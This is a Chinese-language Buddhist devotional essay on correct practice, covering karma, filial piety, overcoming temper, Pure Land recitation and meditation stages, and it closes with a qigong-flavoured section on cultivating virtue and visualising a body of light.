有人学佛很精进，天天要拿出几个小时念佛，磕头，听经，可是从来不管家里，更有甚者，班也不上，我就天天家里念佛，想着佛菩萨接我去极乐世界。
学佛要学习佛佗对我们的教育，同时也要学习佛佗的精神，要像佛菩萨那样去发菩提心，去觉悟，要断恶修善，从当下开始。
2、学佛要用什么态度对待人生？对待修行？
学佛要用众人我师，我是学生的态度来对待人生，对待修行遇到的每一个境界。
学佛人很容易碰到一个词，冤亲债主，在这里要更正一下概念。
上辈子，我们对他们造了业，今生，上天安排他们来给我们了业了。有业，我们就要堕落三途，有债就要还，今天，不必我们去找他们还，他们来找我们了，我们有机会还债了，为什么我们不能张开怀抱热烈欢迎我们的了业菩萨呢？所以，没有怨亲债主这个词，只有“了业菩萨”——来了（liao）我们业的菩萨，了业菩萨来了，我的心情是极乐的。因为，我的业，有了（le）了结的希望了
俗人眼中的仇人，是佛子眼中的怨亲债主，是学子眼中的了业菩萨。
印光大师说:人人都是菩萨，唯我是凡夫。
我们的生活中，除了了业菩萨，还有帮助我们的顺缘菩萨，以及考验我们的逆缘菩萨。
期待所有的人，都能认清我们周围的人都是菩萨，只有一个凡夫，就是我们自己。
3、为什么学佛修行很久没有进步？
有人喜欢用学佛多久来衡量一个人的修学程度，一提到自己学习了十多年似乎就有了资本一样。可是也遇到很多人苦恼，为什么我学习很久，好像一直没有进步？这要看我们学习是怎么学的，我们是否从心里深信因果，我们是否按照佛佗说得那样去做，我们是否忏悔了自己做错得事，我们是否改正了自己的脾气秉性，不再造新的恶业。
一边学佛，做着很多表象上的事情，天天诵经、念佛，心里妄想不断，更有甚者，脾气秉性很大的学子，一边念佛，一边造业，表象上精进掩盖不了自己的造业，时间一到，恶业显现，于是就有了很多这样的疑问，“我学佛之后，吃素，烧香拜佛，很精进也很虔诚，为什么我还会生病，遇到祸事呢？”
4、学佛有没有进步、是否正确的衡量标准
1）脾气有没有变少；
2）运气有没有变好；
3）家庭是否和睦，家庭成员是否健康；
4）有没有见性；
5）有没有般若智慧。原因：
①脾气有多大，业力就有多大，所以，如果你真的忏悔消业了，脾气一定是少了。②如果你修的是正法，你的运气一定会变好，这就是福慧双修，你的运气好了，事业、家庭顺利了，父母才会安心，这是孝道。如果你自己诸事不顺，父母寝食难安，是没尽孝道。
③如果你学佛后运气变差了，一定是修错了，你修的不是正法，这个时候，你千万不要告诉人家你是修佛的，否则，人家看你这个样子，会吓跑的。这无异于谤法。
④学佛先作人，菩萨说：“众生未度尽，誓不成佛”。只有你身边人人都是菩萨了，你才有可能是菩萨，只要还有一个人不是菩萨，那你就不是菩萨，这个时候是不可以翘尾巴的。
⑤真正的孝道是上敬下和。只给父母钱不算孝顺，父母生你养你，是给你孝顺的，不是给你吼的。你不孝顺父母或你配偶的父母，你的孩子一定多病或没出息。如果你有兄弟姐妹让父母不安心，也不算真正的孝顺，每个孩子都是父母的心病，你真孝顺，要帮父母安排他们的其他孩子，也就是你的兄弟姐妹。总之，父母不安心，就是你不孝。
⑥功德回向给活人，不是病就是灾。建议功德回向给某位菩萨，利益众生，然后，请该菩萨加持，将此功德回向给了业菩萨。
⑦现在的人，看配偶不顺眼，看公婆不顺眼，看岳父母不顺眼，甚至看自己的父母兄弟姐妹子女都不顺眼，看上司不顺眼，如此不忠不孝不仁不义之徒如果学佛还能有成就，岂不让天下人都以学佛人为耻？谁还屑于学佛？所以，要学佛，先学作人。
⑧学佛见性成就，只有30个台阶，非常简单，但是，现在的学佛人，都盯着第21个台阶，想一步跨越，却永远不可得，几年，十几年，几十年的修行，却原地踏步。真正的学佛人，要先学作人，一个台阶一个台阶地往上爬，结果很快很轻松地怕到顶峰，开悟见性。所以，学佛，要“人道尽，天道返，佛道成”。
⑨现在的学佛人，智慧都学到茅坑里了，以前作了错事，光说改，改了就行了么？以前作过的错事要忏悔的，末法时期，弥天大罪，一悔即消。以前对他人的怒恨怨恼烦要忏悔，杀盗淫妄酒要忏悔，贪嗔痴慢疑都要忏悔。
⑩怎么忏悔呢？现在的学佛人，杀个人忏悔15秒就告诉我忏悔完了，要不就是读读经，或者回向，或者读人家拟好的忏悔文。于是我就问，我无缘无故暴打你一顿，不向你认错，我回家一天读一遍《梁皇宝忏》，连续读100天，你能原谅我么？所有人都会斩钉截铁地告诉我，不会原谅我。那么，你为什么己不所予，偏要施于人呢？真正的忏悔，是直接向被你伤害的人真诚道歉，如果能真哭出来，痛改前非，则善莫大焉。

三、学佛的关键在哪里？开发心智，能当下明心见性，成就菩提。
佛陀讲“凡所有相，皆是虚妄。心无一法即是如来。” 佛陀讲八万四千法门，流传于世的不多，八万四千法门，学佛诵经，持咒念佛，参禅六度法门学说不同，现今中国大概是八个宗派，这些宗派里有相同的东西，也有不同的教授，但是选择不同宗派没有关系，归根到最后的目的最重要、最关键的是要我们明心见性，即是净空二字。
什么是明心见性，明白那个佛陀讲的真我本性是什么样子，领悟到佛陀所讲的人人具有佛性是怎么回事？
人人懂的其义：学起来很专，认真，就说念佛吧，年年、月月、日日、时时不断精进的很！很多门派如此。为什么，修学的人多，成就的人少呢？个人认为对佛理不通达。对经典上法语应用上不会变通，被法所困，心智不开，不得自在。比如说：只要不断念佛，就会往生，极乐世界！实践证明：有个人名叫杨凤琴六十年寿终，一生不烧香、不拜佛、不诵经、不念佛、不持咒、不坐禅。心中有佛，做事克已，为人忠厚，临终往生。也没拜过师，为什么往生成佛？正确的说她一生尊老爱幼、克已无私。正心、正念、正行、心中有佛得成正果。
很多人学佛理论学了一大堆，学到最后就成了一个面貌，这个世界太苦，我要早点走，我要早点到极乐世界去，这里我是一刻也不想呆了。抱着这样心态的很多人就成了一个别人眼中的怪人，他可以一天花非常多的时间去念佛，去做佛事、去念经，家里的人完全不管，不关心，学佛学成了孤家寡人。佛陀教授里从没有讲这个，虽然是出家的功德非常殊胜，有殊胜愿力的大丈夫愿意以身表法，可以去出家。可是在家的优婆塞、优婆夷（男居士、女居士）是要和睦家庭的，是要照顾家庭的，佛陀从没有让学佛的在家居士完全放弃家人不管的。相反很多佛陀的经典中都有关于佛陀如何教授在家居士们处理家庭问题的教诲，包括如何处理钱财，如何做一个好女人，如何做一个好丈夫，如何念父母的恩情。六祖有句话：“佛法在世间，不离世间觉。离世觅菩提，恰如求兔角。”
把学佛的心态，学佛的表法过程弄错了，那么不是学佛人，因为这样违背了佛陀的教诲，不能称之为学佛人的。
学佛要学习佛的知见，还要按照佛陀的教导去做。学佛不要被相法所困，学用结合，得成正果。关键：不要执著、妄想、分别、攀缘。欲望全无。心怀苦难利众生。与佛相应，当下菩提！
上根人学佛：缘起性空，达理见性。触境逢缘，我自空净。
中根人学佛：法有传承，明心见性。一门深入，理事圆融。
下根人学佛：礼佛万头，心咒无数。诵经有为，性在何处？
我们问问自己是上根人、中根人还是下根人？
四、学佛的基础是什么？1、相信因果
有因必有果，因果通三世，因果定律是宇宙人生的第一真相。想学佛首先要知道因果，并且相信因果的道理。
如果一个人不相信因果，那么学佛就如同在沙滩地上建高楼一样，最终会因为楼基不稳固而导致大楼倒塌，这也是很多学佛人学到最后开始不相信佛法的原因。他从开始是从相上学佛，把学佛等同于和佛菩萨做交易，我按照你说的去做，我供养，我布施，我诵经，我念咒，可是一旦出了不符合我心意的事情，因果理论没有深信，最后这个人就会因烦恼心升起而不再学佛。
“若知前世因，今生受者是”，把这个道理从学佛之初就放在心上，同时通过修自己的心去开始改变，这才是学佛的捷径。
2、去习气、化秉性
人有三性，人用什么性，得什么果
三性为：佛性，习性，禀性
佛性：纯善的，万善的，只见人好，不见人坏，大智慧的
习性：习性是洗染的，近朱者赤，近墨者黑。跟善人在一起容易做善事，跟恶人在一起，容易做恶事
禀性：是我们生生世世业力以及祖先业力信息的总集，表现为怒恨怨恼烦。以禀性用事的人，遇事喜欢发脾气，看人都是坏人，只有自己最好，遮障天性的纯善与智慧，主贱；
以习性用事的人，如果诸恶莫作，众善奉行，主富；反之，主贫。我们古代有句话叫“积善之家必有余庆，积不善之家必有余殃”就是这个道理，各位切记：“百善孝当先，万恶淫为首，禀性（脾气）又是万之源”，孝敬的人，莫不富裕；邪淫的人，即使前世福报大，福报也会很快消耗掉的。我们要和没有脾气、善于自律的成功人士交朋友。
以佛性用事的人，只见人好，人人都有优点，唯有自己缺点最多，天天在学习别人的长处，弥补自己的短处，经常赞美他人，与人为善，每天都在不断完善自己，每天都在进步，主贵。
到了自净其意的程度，则贵不可言，这就是佛。
所以，贫贱富贵，皆为自己的选择，怨不得别人。
学佛的首要就是要化秉性，去习性，圆满佛性。
一个没有化秉性的人学佛，即便他学习了很多年，可能功夫会很深，道理会懂得很多，因为秉性的缘故，他会怒、恨、怨、恼、烦，那么就会出现“火烧功德林”的现象，也会出现各种各样的不顺、违缘、障碍。因为秉性作怪，总是发脾气，总是怒、恨、怨、恼、烦，即便事相上按照佛陀教义去做，守五戒十善，但是一切唯心造，他的心是不清净的，一旦心起了烦恼，这样就又在造业了，这也是为什么很多居士会觉得学佛很久、吃素、念佛、做义工，为什么我还是不顺，我还是烦恼不断的原因。
化掉秉性同时学佛，是快速成就的最好路径。
3、皈依三宝
皈依佛、法、僧三宝，这是学佛的必要与先决条件。

五、正确学佛的基本步骤
学佛总的是修行,修的是正心。怎样得正心呢? 首先通过学佛通达佛理，把欲望心,妄想心,执着心,分别心,攀缘心等空了,放下了,才能得正心、正念、正行。正心是佛，正念是法，正行是僧，是三宝，佛法僧，简称：“觉正净”，是正知，正见，正行。是学佛的总纲。觉而不迷，正而不邪，净而不染。又是空守义三字。是学佛得成就之妙法。不可不知。
1、首先通佛文教义：开佛正知、正觉、正行。
普贤菩萨说“觉，正，净，空，守，意。”觉正净是八万四千法门的总核心。空守意是修行的总核心。
觉：开佛知见“空见”，空生妙有有归空，各占五十中道行，人法双空长性住，自在逍遥乐永恒。
觉是开佛知见，因性空生妙有，有后又归空。
佛陀告诉我们本身我们自性是空性，空性生妙有是指所有我们眼睛看到的一切事物与现象其实都是我们自己的心化现出来的，包括地球、万物，人，宇宙等等，有后又归空是指这一切事物最终会归于空，没有长住不坏的东西。
简单举例子人想吃饭，开始并没有想吃什么饭，等于空，后来想吃什么饭，做好了饭食，空想想出来的生妙有。把饭吃了，饭没了，即是有后归空。
世上万物都是这样，没有长住不坏的。楼房会倒塌，人会死去，山川河流会变化，连宇宙银河系在成、住、坏、空的劫中都要损坏的，更不要提地球上的人类。以上面所举的简单例子说明空生万物有归空。
心经说“空即是色，色即是空。”修行人不能占空又不能占色。占空不占色不能生存，指的是我们处处讲空性而脱离世间生活，人需要生存，衣食住行不可少；占色不占空不能成就，如果我们一味沉迷于世间色声犬马的生活，而把修行成就的任务忘记，世间法有“爱憎、善恶、有无、取舍、两面性“，修行人必须放下，就和世人一样消耗福报，这是不能成就的。怎么办？用为而无为法来解决，为是有为法，有我是世间法。无为是出世间法，是道心。两下一结合，即是理事圆融。理是一成不变的，是空性。事是心心生万物，万法归空，即是佛经讲的性空心不空，理事二圆融。即是中道行，本来无一物，中道始于零。零即是空性。明白此理，修行就不难了。即修行人要很好的处理修行与世间生活的问题，两者不能割裂开来，不能搞对立。多少高僧大德告诉我们要“平常心才是道”，佛法修行就在我们平平常常的一举一动当中。人法双空性长住，我们认识到佛性是空性，把这种认识放在心里，但要在做事上很好的完成自己做人的职责。把为自己修行的念头空掉，把我们对于法的执着追求也放下，人法双空这样才能找到自己本有的性，即是佛性，也叫神识，又叫一。一就是金刚不坏之身。所以说是自在逍遥乐永恒，证明是长住不坏之身，所以乐永恒。
正：心性平直同众生，无求无得自性空；随缘不变消旧业，不变随缘道自成。
正是正知正见，正行正念。
佛从众生中来，再高不忘众生。佛与众生同一佛性，众生只是因为迷恋五欲沉沦，被无始劫以来的业障遮蔽了自己的本性。关爱众生、搭救众生、度众生是佛菩萨们的职责。搭救众生从来只知耕耘不问收获，没有这样的慈悲心无法成佛！修行成佛，成佛之空性。
净：心至一处到高层，禅净一家性本同。止净定安虑而得，五蕴皆空自神通。
心至一处，即是一心不乱。即是念而无念，无念而念，即是心佛不二。念佛而得成就往生可靠。
“佛号一声，贯穿虚空。念佛是谁，自性弘明。”所以说禅净是一家。佛家八万四千法门总的说来，都是禅定法。都离不开，止净定安虑而得。五蕴皆空自神通，是天人合一。
空：自性本空法无生，空生妙有法横生。宇宙人生同一性，千变万化不离宗。
是空自性，性空心不空。理事二圆融。
当打坐在三秒钟之内时，即是见到自性。没有一法，一片寂静。后来妄念不断。法横生，宇宙人生统一佛性。不管怎么变，本性是不变的。懂得此理，对修行见道是有益的。
要认识到一点，成佛靠自己的自性，自性本是空的。但是自己认识到了是可以的，在世间做事时心是不空的，不能把这两点搞混了。对家人说什么都是空的，要不要吃饭，要不要养家，要不要用钱。如果你是一心发心救度众生的大菩萨，也要把家里关系和睦，自己身边人都度不好，如何去度他人呢？
日常生活中要做到理事圆融。
讲理事圆融，譬如自己不生气是对了一半，不惹别人生气，才是完美的，这就是理事圆融。所以，不但要修好自己的心，还要注意自己的言行举止不要给别人造成伤害。
守：如意宝珠传家宝，拂去灰尘自光明，光照三千大世界，觉有情深利众生。
是守住清净心不变。去腐生华。
人心外求法。人们学佛总是向外求，总以为在外面有个佛菩萨可成，而不知自家有宝。这宝即是心光。被尘垢蒙住。发不出光来，神通不能再现。要知道成佛靠自己修心，靠度众生而成就，若想再现心光烦恼变菩提，感情变觉情。无为利众生修行来完成，即是无任何所求的去利益众生。
意：思意本源法无生，空生妙有又归空。大千世界多幻化，反本归原性本空。
发菩提心，利益众生，为而无为。
知道自性本空，知道要靠修行自己的心来成佛，下一步就要发菩提心去救度众生。为是实际去做，无为是指做的时候心里没有任何的想法，没有任何的要求，没有任何的想求到什么东西的想法。
不实际发菩提心救度众生，学习再多的佛法理论也是空谈，不叫真学佛。
与佛相应，当下明心见性之妙法。烦恼变菩提成就可靠。佛法不欺人。
以上是八万四千法门的总核心，与修行的总核心。
学子在日常生活中要怎么做呢，要怎么样来面对诸多的逆缘，不顺利呢？
要了解一个原则。即学法，得法，用法，空性不住一切法，事来即应，事过即了，性空心不空，理事二圆融。
“顺境警钟，逆境助缘。反正是道，心净彼岸。”随缘不变消旧业。世间法很多整天为衣食住行而忙碌。缘分很多，顺缘逆缘都有。顺缘来了是警钟，逆缘来了是助缘。人们对顺缘来了高兴，莫忘了喜中有悲。逆缘来了，事不顺不高兴，莫忘了苦中有乐。这样对待某些食物问题。自然消去业障，不再造新业障。心清净自然。“不变随缘道自成”对任何事物问题心无非分之想。见景生情心不动，定力深厚。空性无为，自然不用求什么道自成矣！
认识一点，烦恼即菩提。
了业菩萨给我了业，逆缘菩萨给我考试，助缘菩萨给我力量。都是来解脱我们的，成就我们的，是帮我们成道的，哪有烦恼啊，都是我们的大善人。身边的三种菩萨认识清楚了，不就是“烦恼即菩提”么？到了这个境界，哪里有辱需要忍的呢？——除非你还沉浸在迷途里，不想成道。
2、始终破我识、我见、身见。
就是去掉脾气秉性。通过忏悔解决，不然会出现偏见。尤其有神通的人更严重产生偏见。佛门宗旨：“佛光普照，普度众生”。可有的学子不是这样。“专讲他人过，自己苦未了”，“以己为正道，他人走偏了。”更严重的是容不得他教。
化秉性，可以去掉累生累世的业障，再修学起来会非常顺畅。比如妄念会减少很多，非礼作意的妄想会少很多，很容易进入观自在的境界，很容易提升自己的学习水平。
很多时候，我们在多个法门之间徘徊，我们在一个法门里转悠，因为秉性的缘故，我们的修行功夫一直徘徊不前，因为我们一直在苦恼于我为什么老看人不顺眼，我为什么老发脾气，我为什么老是觉得谁不对，我为什么老是有妄念，如何念佛可以一心深入，有时甚至是徘徊很多年的样子，化秉性可以让修行功夫一日千里，这是最好的也是最实际的修行步骤。秉性不除，是非不断。即便修行十多年的老修行，不除秉性一样火烧功德林，一样非礼作意，一样造业不断。去除秉性是非常必要的事情，也是非常必须的一个步骤。
3、选定一个法门老实深入学习。（建议，末法时期老实念佛求往生西方极乐世界比较妥当）
当前中国讲有八个佛教宗派，在世间人们了解比较多的是禅、密、净、般若法，修法传承各有不同。
禅宗讲参禅顿悟见性成佛；
密宗讲传承密法当下活佛；
净宗讲一心不乱，往生可靠；
般若讲心光照大乾，修的般若智。
人无情见，即生道心。三台已去，贪嗔痴三毒已消，以道心率人心。普度众生是大本大根之法。
“学佛修道苦能行，至诚发心与佛应。利生无求又无得，觉字当头菩提成。”这即是发菩提心，行菩提路，念佛得道心，也在其中。
修法各异不同，手段不一。总的目标是心达净空，目的是把自性引出来之后，见性成佛非易事，还作到五蕴皆空。才能天人合一，神通再现。这是佛经而言。
五蕴：“色受想行识”。修的五蕴空非是易事。此五蕴一空，人不能生存，世界变空了。不空不能入圣界，常住六道，不得解脱。首先必得通达佛理，找出对治方法。个人认为：色若空掉，用无为法。受若空掉，用忍耐法。想若空掉用正知正见法。行若空掉用菩提法，利益众生而利己。识若空掉，用般若法，精华为我所用。
普度人生，报答佛恩，反的空掉，免的害人害己，这即是金刚经的精华：
无住生心成佛之真谛不必别有所说！
天人合一，当下菩提。
4、修行弊病
①“心智不开,相法所困,执法有生,何来成就。”
当前诸多的学佛人中，存在这样那样的问题，最突出的是“心智不开,相法所困,执法有生,何来成就。”
简单讲就是人们不理解也不知道成佛到底是怎么一回事，心智没有开，没有通达佛理。简单的抓住一个法门，然后执着于法门所讲的种种相与种种法之上而不能脱离，比如念佛要求每天多少声佛号就能成就。他们认定学佛是通过这样或者那样的有为法而成就的，这样的错误认识之下又怎么可能成就呢！
②“一念利生佛，论非即是魔。无为菩提路，有为黑暗多。”
很多的学佛人，自己选定了一个法门之后，开始认定自己的法门如何好，然后大肆攻击其他的法门如何如何。这样的修行还不如不修，佛陀共讲八万四千法门，要的是我们通过修行成就自我，而不是去互相攻击，造下谤法的恶业直接下地狱，以后想要再听经闻法，不知道要到什么时候了。
修行修的是自己的心，看好自己的心，不要卷入争论之中。争辩的分别心一起，那一刻已经等同于魔王了。这是非常重要的一点。
要知道“修行达佛理，凡夫是非多。学子行三宝，争斗阿修罗。”
我们时常要看看自己是凡夫，还是阿修罗，还是修行的学子。
③学佛容易行者难，是事依我总是凡。心地无非性本空，度生无为极乐园。
学习佛学知识很容易，把相上的东西做到也很容易，但改变自己，向自己的内心深处动刀子，认识到自己的缺点和不足却非常不容易，如果不能去除我执、我慢、我见，那么学佛终究只是积了点人天福报而已。学佛乃大丈夫方能为之事，大丈夫才敢于言，敢于行，敢于坦诚自己的不足与缺点，世上学佛人有几个是大丈夫呢？
六、念佛法门的修行要诀
1、念佛法门要怎么修？
净土宗念佛法门在当前是比较流行而普遍的，很多人会选择念佛法门。但当前的念佛法门中有些现象导致修学念佛法门不得力，下面会一一解说。
①出离心非常强烈，而把现实生活放在一边。
有人通过学习佛理，或者亲身感受，认为这个世界很苦，于是认定念佛法门，往生西方极乐世界是自己的家，在现在的火炕里一刻也不想呆了，抱着这种心态的念佛人不少，但是他们忘记了自己的寿命未到，抱着这种心，而不去实际解决自己身边存在的诸多实际问题，脱离了现实，把现实生活仍在一边，整天念佛而后求，菩萨我要走，你让我快点走。我不想见家人，我不想上班了，我不想生活下去了。
“念佛修正心，不做痴迷人，现实要面对，脱离是罪人。”
②出离心不强烈，而把希望放在求佛菩萨身上
也有人没有上面那么迫切的出离心，反正念佛好，我就念佛吧，求阿弥陀佛最后接我去极乐世界。
“阿弥陀佛都会念，一年四季终不断。朝山建寺求功德，明心见性终来见。”
以上两种现象是比较普遍的，总体说来是犯了一个毛病，不懂得学佛修心，修的是自己的心。
“念佛求净土，天真纯一难。总纲觉正净，核心自性空。”
念佛求净土，这个“求”字，是说求自心的意思。
为什么呢？
佛在心中莫远求，灵山只在汝心头，人人有个灵山塔，只在灵山塔下修。
心外求法，有攀缘心是不对的。要消除妄想心，执着心，分别心。三心一灭，贪嗔痴自除。即得清净心。
天真纯一即是一心不乱。纯一即是本性。
心净土自净，心外无净土。乐在心中，何必求净土。
所以讲念佛往生西方极乐世界，是这个人修行把自己的心修清净了，自己当下就可以往生西方极乐世界，而不是很多人认为的我到临死时阿弥陀佛来接我。
如果平时没有去除秉性，并养成心净念佛，净念相继的习惯，那么到临终时要你念十句阿弥陀佛，恐怕业障现前，一句也念不出来。要从平时的修心上下功夫，不是事相上我非常精进，我一天3万声佛号，可是秉性未除，怒、恨、怨、恼、烦依旧时时来找自己，那么“喉咙喊破也枉然”。
2、念佛的真谛
佛的宗旨“佛光普照，普度众生。”
很多人选择念佛法门时，光看到了可以往生西方极乐世界，却没有看到极乐世界去了还要分好多种不同情况的。
有的人没有发菩提心，反正是念佛了，阿弥陀佛接我，到了边地，不知道要多少劫才能花开见佛。
有的人学习，知道修心从当下开始，一样念佛，在尘世中做利益众生，普度众生之事，这样的菩萨往生直接到实报庄严土，有九品莲台。
念佛，普贤菩萨云“一声佛号成菩提，还求什么？”证明八万四千法门，只要真心念佛，成就菩提！
为什么？
因“南无”二字，是佛法僧。佛：觉而不迷！法：正而不邪！僧：净而不染。变通法：是正心，正念，正行，正果。
“阿”是无量！无量光，无量法，无量寿！总的是功德无量，长住乐永恒，不灭之理。核心即是自性，空性成佛，即菩提！
老实念佛求往生西方极乐世界。通达佛理，得佛正知正见正觉，而得成就。说明了不破我识，我见，身见，难得成就。为什么？识：世间经验：我见：本人经历；身见：人之感受。不能带到修行中来，否则障道，难得成就。更不能把各人的坏脾气、秉性，恶习，过错存在心性中。必须通过真心忏悔解决。不然会出现偏乘，偏见，脱离佛道。牢记佛门宗旨：“佛光普照，普度众生”。与佛相应，名曰学佛。
净：心至一处，即是一心不乱。即是念而无念，无念而念。即是心佛不二。念佛而得成就往生极乐可靠。
3、念佛法门的境界
往生极乐，念佛高境界：“念而无念，无念而念”。
学佛心得：“念佛修心忘我，见性花开我生。利人自然利己，不求自得圣名。”
一声佛号妄无生，三毒已去自性明。自性本性是空寂，“净空”何须老修行。
念而无念心寂净，无念而念见自性。自性本来是“净空”，无为念佛即是圣。心净土净是极乐，何须临终求往生。
自性清净法无生，般若生心自性空。精进修心离四相，利益众生法无争。
阿弥陀佛：“念佛成菩萨还求什么？”
大势至老人云：
佛号一声般若生，达理明心唤智能。
万里之因解苦难，净莲花开宇宙行。
“无住生心”无住是什么呢？是相法无住，对念佛来说，净念相续，即是外不住相，内一念不生，只有一句佛号由心而生，心佛不二。心即是佛，佛即是心。有一句话“念佛我念我”佛性即是佛！由此可知，得佛的正知正见，破我识我见，发菩提心，行菩提路，与佛相应，开发智能。智是般若智，了解宇宙人生真相，认识自己，回归本性。
七、禅定的步骤
五宗八万四千法门，总归禅定法，关键无智亦无得。
即是说：打坐时不能把世间法带入打坐中去。
初级禅定法：外不著相，一法不生，心地净空，即是本性，见到真我。
高级禅定法：外无世界，内无身心；觉知还在，佛来结缘。久之，得心心相印，感应道交，理事通达，凡事有成！
禅定共分五步：止净定安虑
止法：静室打坐念佛而后止，外不住相，内妄念不生。而得净心。
净后而得定，是一片寂静法无生！此时得见本性空。
定而后安，心生快乐自在。
安而后虑，虑得无相般若智，佛菩萨来加持！
是虑而后得。以内养而言：炼养心性，得超凡入圣之功。以内景而言：得天禅二机。即是定中生慧，妙法横生。即是空生妙有，不求自得。
正所谓无虑而知，不思而明。至诚者，天人合一。天之道与从容中道而道合。到此时，不知之知方为大知、不虑之虑方为圣虑，无有之有方为大有，无得之得方为神得，一无所虑则无所不虑。无所不知，无所不觉，神通妙用，光照大千，因自性神通，与天地接通。一通一切通，一化一切化，一得一切得。当下菩提。
八、
箴言几则
1、
众人我师，我是学生。
佛法无量，安身立命。
心生一念，便有邪正。
燃亮心灯，何须论圣。
2、
阿弥陀佛，成就菩提。空性即佛，至诚归一。
3、
出家四大皆空，在家六根清净。
佛门宗旨度生，修行练心见性。
世上万法纷飞，学子静心不动。
菩提人人奉献，和谐幸福同庆。
4、
学子练心炼机，何须论邪论正。
心地无非真我，邪魔利生即圣。
5、
至诚学佛法无为，离相无我性如灰。
梅花喜欢漫天雪，不到灵山心不归。
6、
文殊菩萨云：
心有妄执，顿失本来。
清净无为，自见本性。
7、
出家四大皆空，六根清净道行。
普度众生无为，何必卷入论中。
凡夫你争我斗，高僧黄卷青灯。
随缘不变消业，不变随缘圣名。"达摩西来一字无，全凭心意下功夫"，说明修练必须提高悟性。开悟的过程，也是不断长功的过程。上乘功法，强调从炼心入手，修德以求道。不善于开悟的人，虽多年苦练，收效甚微，只能在低层次上徘徊。
"菩提"两字佛教是指断绝烦恼，成就涅磐的智慧或译为道，意指达到涅磐的道路。菩提是佛的智慧或达到的觉悟，只有断除烦恼才能达到菩提。简言之，菩提者觉也。修练菩提功应在悟字上狠下功夫。
"佛"的含义是指大智大慧的人格。大智就是对世界上的事情有清楚的认识，大悲就是舍已为人。
"无量"即无限的意思。
"大光明"的含义有二：
1、心性光明：
（1）什么是心性光明？
　　用佛家禅的语言讲，人这盏灯原来是很亮的，但被各种各样的执着和累所蒙蔽了，它失去了光明，没有了智慧，变得愚蠢了，因之要擦掉蒙在灯上的各种污垢，使灯重新变亮。
　　心性是指不变的心体，心性是决定功力的唯一重要因素。心性可以转化为德，德可以转化为功，修炼者心性一旦上去了，可以立即出功。
　　心不明就不见自性，修练就是寻找那颗被世俗湮没的本心，即善良之心，慈悲之心，所以说佛性人人皆有。
　　万法归宗，修练就是要归到明心见性上。对万事万物不贪求，放下常人放不下的那颗执着之心。人若有贪求，若有执着，心就放不下来了。
　　要把凡心炼成真心。凡心就是名利地位，酒色财气。炼心就是要把这些私欲之心炼掉，让本心萌发。如果心收不回，私欲难填，功是练不好的。
（2）什么是德？
　　修德能使自己的心理得到平衡。积德的目的是转化能量，提高修练层次，积德必然是心性提高的结果。
　　德就是人的品德和情操，这是长功的基础。修练者要有功德，功德是修练者应遵循的道德。功德的核心是利他人和容人。无私奉献就是利他的主要表现。容人就是心地宽广，宽容他人，讲求功德，体现了人与人之间的温暖和真情。
　　从修德入手，这是从心态上进行自我调整，修练就是从生理上进行自我调整，二者相互影响，其目都是为了完善自身。修德就是使自己追求真正的人生，正确对待一切事物，摆脱物欲的诱惑，使人的生命活动处于最佳的状态。
　　功夫要上去，必须先修德。如果德上不去，再怎么练也是白费劲。真正的高功夫，绝非靠死练，必须靠修。不修大德者难得大慧大觉。把修德作为炼心的根本大道，其根本点是在于破除"我"字。
　　德的主要体现之一就是善。善是人的本性，是人生的基本态，是进入功态最基本的条件，是进入高境界的前提。
　　修德，一要与人为善：对他人要心怀善良，要有爱心，无私奉献就是我为人人的具体表现，这样可处在一个平衡的心态环境中。有了慈善之心，也可以得到很多人良好信息的支持。
　　修德，二要与大自然为善：普渡众生中的众生灵，除人之外，当然还应包括大自然中一切动植物众生灵。刮风下雨，天阴天晴，天冷天热，这是自然现象，若骂天骂地这是不应该的。任意伤害众生灵也是不应该的。不与大自然为善，哪里还有什么天人合一态？
　　修德，三要在修练中树立善念：就是要用良性意念进行诱导。功法中的光态、采气、排病气等，都是运用良性意念。良性意念是进入功态的奥妙，只有进行功态，才能修出功夫来。若光是比划动作，不会运用善念，怎么练也进不了高层次。
　　只有做到与人、与万物保持一种永久的爱心和善念，才能在精神上真正的解脱。心真正静了，才能达到经常性的高度静心，心静者道方可得，这就是修德、心静、长功三者之间的关系。
（3）为什么要修德以求道？
　　修练需要真正诚意：一个人如果整天都处在虚情假意的环境中，就不容易说真话，办真事。平时假话假事做多了，修练时就不容易产生真意，总是怀疑这怀疑那，不相信这不相信那。修练还需要的是真心诚意，只有真意才能专心一致练功。若长期修练没有效果，首先检查自己的心是真还是不真，只有真意方可使识神处于空态不主事，使人处于开放状态，无神方可显现沟通信息。
　　修练需要树立善念：有德者心是善良的，若对人对事恶念丛生，如嫉妒、仇恨、挑拨事非、造谣中伤等，恶念多了，变了形的心态就不容易扭转过来。而修练自始至终都需要良性意念的诱导，方能起作用。若采用假的意念，是不会有效果的。
　　修练需要心平气和：人若是整日斤斤计较、患得患失，欲望丛生，这是一种紧张的心态。修练需要心平气和，恬淡虚无，心无挂碍，这样方可使气血畅通，意念集中。修德可以淡化各种欲望，使心态逐渐恢复平衡。
　　修练需要心静：心静就是无烦恼、无贪求、清心寡欲，即万事不执着、万事不贪求，杂念则自可减少，心自然容易入静。心静了，练功时的万念归一念、一念归无念就可实现。若心不静，留恋于贪欲世界，怎能修得大道？
　　为什么很多人修练效果不好，究其原因最主要的就是与不重视修德有关。德是基础，基础不牢靠怎么长功？
（4）如何修德？
甲、去掉贪心：贪心是把物质利益看得太重，如贪财、贪物、贪色。贪图名利、贪图享受等等。有贪就有烦恼。贪欲是引起心态不平静最主要的原因，必须看淡一切，方能制心贪欲。
乙、去掉执着心：执着就是对某一个目标有过分的追求，且得不到解脱，如追求功感、追求功效、追求特异功能等等。执着是急于求成的反应，是不能自我解脱的表现。执着违反大道自然的法则，违反功到自然成的原则。在修练中，执着之心使功力出现停滞，徘徊不前，严重者有可能出偏。
丙、去掉嫉妒心：嫉妒是自我主动造成心理不平衡的表现，是心中自私的反应，是人为的不自在，是人际关系不协调的因素之一。去掉嫉妒心，在轻松、愉快、友好的气氛中生活，保持良性意念心态。
丁、去掉报复心：报复是极不平衡的心态，是紧张态。不要因他人的过错让自己背上这沉重的包袱，要宽容他人，宽容就是良好的心态。
2、光明之身：
　　修练时要想象人在光中，光在身中，身体内外一片大光明。在观想自己身体时，不要观想自己的肉身，它太肮脏，思想包袱态沉重，要把自己变成一个空性光明态的光明之身，即空无一物的透明发光体，这是观想法界体性的空性。当身上的佛光向四周放射出去时，应想象放射出万道金光。当采集宇宙能量时，应想象万道金光向体内收拢。（怎样修炼光明之身，在后面的悟道段落中再作详细叙述）
二、修练为什么必须心诚？
　　心诚则灵，心不诚则意不专，不恭敬则难虔心，不度心那来效果。心不诚是不可能进入无中生有的形象思维，不可能产生灵性，故心不诚则不灵。
